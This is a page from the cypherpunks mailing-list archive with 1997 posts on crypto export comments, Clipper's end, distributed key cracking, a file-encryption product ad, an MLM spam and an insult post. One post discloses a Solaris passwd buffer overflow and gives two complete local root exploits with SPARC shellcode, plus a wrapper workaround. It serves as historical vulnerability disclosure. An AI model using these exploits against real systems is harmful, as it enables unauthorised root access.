December 2003 - cypherpunks-legacy

BON_ker
by John Young 17 Dec '03

17 Dec '03

2-24-97: "OECD to map out common security framework for online shopping" "Big-Bank Group Seeks To Control Destiny Of Payment System" "GTE Takes CyberTrust To Japan" "GSA Announces Access America Plan" Key initiatives of the Access America plan, being run by the GSA's Office of Government-wide Policy (OGP), include: providing support to interagency groups; playing a central role in developing card technologies; expanding the current electronic benefits transfer (EBT) systems; and providing information technology training to government executives. ----- BON_ker

1 0

CDM_aok
by John Young 17 Dec '03

17 Dec '03

2-24-97. Financial Times: "Japan is poised to adopt CDMA for digital mobile phones, dealing a blow to European ambitions to make GSM the world standard." Congrats to Qualcomm! Wonder if TIA/NSA is ready to bolster CAVE, or is this a anti-GSM global deal to boost crypto-weak wireless? ----- CDM_aok

1 0

Big Security Hole in Solaris 2.X (X)passwd + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Tue Feb 25 14:22 EET 1997 Romania " Another letter - another bug " An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd) Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in an internal function ( some like sa_chauthtok() ). Using a buffer overflow exploit anyone can gain root access (passwd need suid exec bit from root). passwd has a second overflow bug when it is called with '-s' option in an internal strcpy(). I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it must to shift the LEMON_BUFFER in a reverse direction before exec - that's happening only for a special combination of the exec args - see my exploits. A way to prevent the exploit is to rename passwd, nispasswd and yppasswd and get out suid-exec bit. After that you have to compile a little program ( some like newpass.c ) with name passwd or nispasswd or yppasswd like root and give them suid-exec bit. You have to change the "hidden_passwd" constant with the new name of Xpasswd files. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)math.pub.ro , skipo(a)sundy.cs.pub.ro , skipo(a)ns.ima.ro Phone: (401) - 410.60.88 ---------------------------- file newpass.c ------------------------------- #include <stdio.h> #include <syslog.h> #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i<argc; i++) { if(strlen(argv[i]) > MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ------------------------- # End

1 0

Distributed cracks, law, and cryptoanarchy
by gbroiles-nospam＠netbox.com 17 Dec '03

17 Dec '03

Some thoughts about the distributed crack/reward distribution thing: The "you must report results only to the crack organizers" rule can be enforced if it's made into a contract. Even without a formal contract, I think it's plausible to argue that pretending to participate in the distributed crack, *and representing that to the organizers and thereby gaining access to their private database of already-searched keyspace*, and using that information for one's own private gain, could reasonably be construed as fraud. (depending on your jurisdiction, blah blah blah. But the general pattern - knowing misrepresentation, foreseeable & intended reliance, loss to one party is gain for another - is right at the heart of common-law fraud. The "widely distributed computing" approach depends for economic viability (as opposed to being just an amusing hobby) on preserving the confidentiality of input and output datasets. This protection can be (and will be) provided by both law and technology. The technological side will likely depend on programs distributed as executables only. This implies a client-side "sandbox" environment such as Java so that the software can't get to any of the local hardware (except the processor & display). If distributed crack organizers can be confident that they'll be able to reap the benefits of their organizing, they can offer payments to unsuccessful participants. This approach (tiny payments for idle cycles) scales better to real-world distributed computing problems than the all-or-nothing $10K approach. Because of the need for confidentiality, real-world distributed computing problems are unlikely to give participants a chance at a "big win" if they cheat somehow. (For example, assume Eve intercepts some ciphertext, and she knows enough about the structure of it that she can predict some of its contents (like message headers, or TCP/IP headers) - she will ask for keys which decrypt [a tiny piece of] the headers, and save the juicy data for herself. A cheating participant in the distributed crack gains very little by keeping the winning result to him/herself, unless she knows more about the context of Eve's interception.) I'm suspicious of the idea that a lot of people are going to meaningfully participate in the crack because they've got a "chance" to win $10K; assuming a wide distribution of client software, the chances that any particular client will hit the key is unlikely to be better than 1 in 10,000 or so (and my hunch is it's more like 1 in 100,000) .. which means that the "chance" is worth somewhere between $1 and $.10. Personally, I'd be more motivated by the idea that the crack might help kill stupid export control laws. Then again, I'm one of those people who won't buy lottery tickets. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

6 6

BXA Site for Crypto Comments
by John Young 17 Dec '03

17 Dec '03

The Bureau of Export Administration has set up a Web page to provide the public comments submitted on transferring encryption items from the US Munitions List to the Commerce Control List. Here's the URL and index of hyperlinked comments on 24 February 1997; note the 12MB comments by Technical Communications Corp.: http://www.bxa.doc.gov/pubcomts.htm -------------------------------------------------------------------- Public Comments Encryption Items Transferred from the U.S. Munitions List to the Commerce Control List December 30, 1996 (61 FR 68572) 1. University of Waterloo, 32K 2. John and Laren Navas, 35K 3. Cylink, 49K 4. Motorola, 212K 5. Secure Computing, 78K 6. Tuttle and Taylor, 313K 7. Lyman C. Welch, 78K 8. ISTAC, 138K 9. American Association for the Advancement of Science, 230K 10. Trusted information Systems, Inc., 240K 11. IBM, 251K 12. Hughes Electronics, 250K 13. Industry Coalition on Technology Transfer (ICOTT), 196K 14. Murphy & Weber, 120K 15. Steptoe & Johnson LLP, 229K 16. America Online, Inc., 238K 17. Citibank, 1296K 18. NCR, 104K 19. American Civil Liberties Union (ACLU), 138K 20. United States Council for International Business, 449K 21. V-One, 134K 22. William A. Root, 525K 23. Thoroughbred Security Solutions, Ltd., 181K 24. Microsoft, 2783K 25. Commercial Internet Exchange Association, 340K 26. The Direct Marketing Association, Inc., 126K 27. Technical Communications Corp., 11896K 28. Software Publishers Association, 488K 29. Alston & Bird, 380K 30. Association for Computing Machinery, 417K 31. National Association of Manufacturers, 269K 32. Computer & Communications Industry Association, 374K 33. Dewey Ballantine, 284K 34. American Bankers Association, 482K 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 36. Winston & Strawn for ICOTT, 204K 37. Sun Microsystems, 331K 38. Key Escrow Working Group, 408K 39. Hewlett Packard, 336K 40. Scientific-Atlanta, Inc., 158K 41. Timothy Hinds, 66K 42. Information Security Incorporated, 119K 43. Securities Industry Association, 315K

1 0

SecureFile.
by Anand Abhyankar 17 Dec '03

17 Dec '03

hi cypherpunks, check out 'SecureFile' at www.querisoft.com the attachment here briefs the cool features of 'SecureFile'. thanx. anand.... -- \|||/ ( O-O ) *----------------*-----------*--------.ooo0--(_)-0ooo.----------* Anand Abhyankar Querisoft Systems Pvt. Ltd. Email : anand(a)querisoft.com 810, Sindh Society, Aundh, Phone (Off) : 91-212-385925 Pune - 411 007. INDIA (Res) : 91-212-351023 .oooO ( ) Oooo. *----------------*-----------*------------\ (----( )----------* \_) ) / (_/ SecureFile : * SecureFile is a cryptographic tool through which you can ensure the privacy, integrity and authenticity of your documents. * The product -- seamlessly integrated with the Windows 95/Windows NT 4.0 Explorer - commandS a comprehensive Graphical User Interface. So, all you got to do is "click," and ensure your privacy. * SecureFile allows you to store documents in an encrypted form so that no one would make any sense out of them. Whenever you want to read these documents, SecureFile decrypts them for you (and only you). * You can also encrypt documents such that only a select few (identified by you) may be able to decrypt them. * To guarantee the integrity and authenticity of your documents, SecureFile allows you to digitally sign them. Thus, no one will be able to play mischief with your files without getting detected. Neither shall anyone be able to send you documents forged in someone else's name because SecureFile allows you to verify the signature on any document. * Still, in another sense, you will possess irrefutable proof that you have received certain documents from the one who has signed them. SECUREFILE - JUST THE WAY TO RE-DISCOVER YOUR PRIVACY

1 0

Clipper article in Cu Digest, #9.10, Wed 20 Feb 97
by Bill Stewart 17 Dec '03

17 Dec '03

CUD is available at URL: http://www.soci.niu.edu/~cudigest/ Here are some excerpts: >>From -- Fight Censorship <FIGHT-CENSORSHIP(a)vorlon.mit.edu> > Federal Computer Week > DOD sinks the Clipper .. > The Defense Department plans to remove the government key escrow > software from its Fortezza cards used on the Defense Message System, a > move that signals the death of the Clinton administration's > controversial Clipper initiative and one that should encourage > civilian use of the cryptographic cards. > > A DOD spokeswoman confirmed the decision to remove the key escrow but > would not provide further details. > > The DOD decision, which will be formalized in a policy expected out > shortly, is in response to the administration's decision last October > to support key recovery technology instead of the controversial > Clipper initiative. Each agency must decide how it will implement the > government's policy internally. A technical advisory committee will > develop standards for a federal key management infrastructure. ... > DOD has for years pressured civilian agencies to use government escrow > technology, but the agencies were wary of the law enforcement access. > Stephen Walker, president and chief executive officer of Trusted > Information Systems Inc. (TIS), said the policy will remove the last > remnants of the Clipper and serve as an official endorsement of key > recovery technology. > > "This is the end of Clipper,'' Walker said. "This is a very positive > move because it puts the Defense Department in a posture of using > commercial products instead of Defense Department products. If the > Defense Department is moving away from key escrow, no one else is > going to feel obligated to have key escrow either." .... > Sources said DOD's move was targeted to increase the appeal of the > Fortezza card to users outside DOD. > > Bruce McConnell, chief of information policy at the Office of > Management and Budget, said the move would make Fortezza cards more > attractive, but he cited different reasons. "It does encourage people > to use it because it moves toward the commercial approach that's being > taken," he said. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 1

Receive multiple checks while promoting only ONE company!!
by mlmdream＠concentric.net 17 Dec '03

17 Dec '03

I_Love_SPAM, Hello! If you are in any Network Marketing program ask yourself this question... WHY? Would you want to build a downline in just ONE program and receive just ONE check? When you could receive up to 20 CHECKS A MONTH with no more effort than just building a single downline! Because it's the smart thing to do!!! When you are ready to embark on this lucrative opportunity go sign up at http://members.tripod.com/~brianj/index.html for a FREE web site to start building your downline.

2 1

Re: [ADMINISTRATIVIUM] Quadratic residues
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timothy C[reep] Maytag's IQ is lower than the belly of a pregnant snake. /\ /..\ Timothy C[reep] Maytag /_\/_\

1 0

EI Comments Hypertext
by John Young 17 Dec '03

17 Dec '03

We're transcribing and hypertexting the 43 PDF-formatted Public Comments submitted to BXA on the transfer of encryption items from the USML to the CCL. The first 19 comments are at: http://jya.com/bxapc1.htm (194K) 1. University of Waterloo 2. John and Laren Navas 3. Cylink 4. Motorola 5. Secure Computing 6. Tuttle and Taylor 7. Lyman C. Welch 8. ISTAC 9. American Association for the Advancement of Science 10. Trusted information Systems, Inc. 11. IBM 12. Hughes Electronics 13. Industry Coalition on Technology Transfer (ICOTT) 14. Murphy & Weber for Nokia 15. Steptoe & Johnson LLP 16. America Online, Inc. 17. Citibank 18. NCR 19. American Civil Liberties Union (ACLU) The others should be ready late tonight or tomorrow morning.

1 0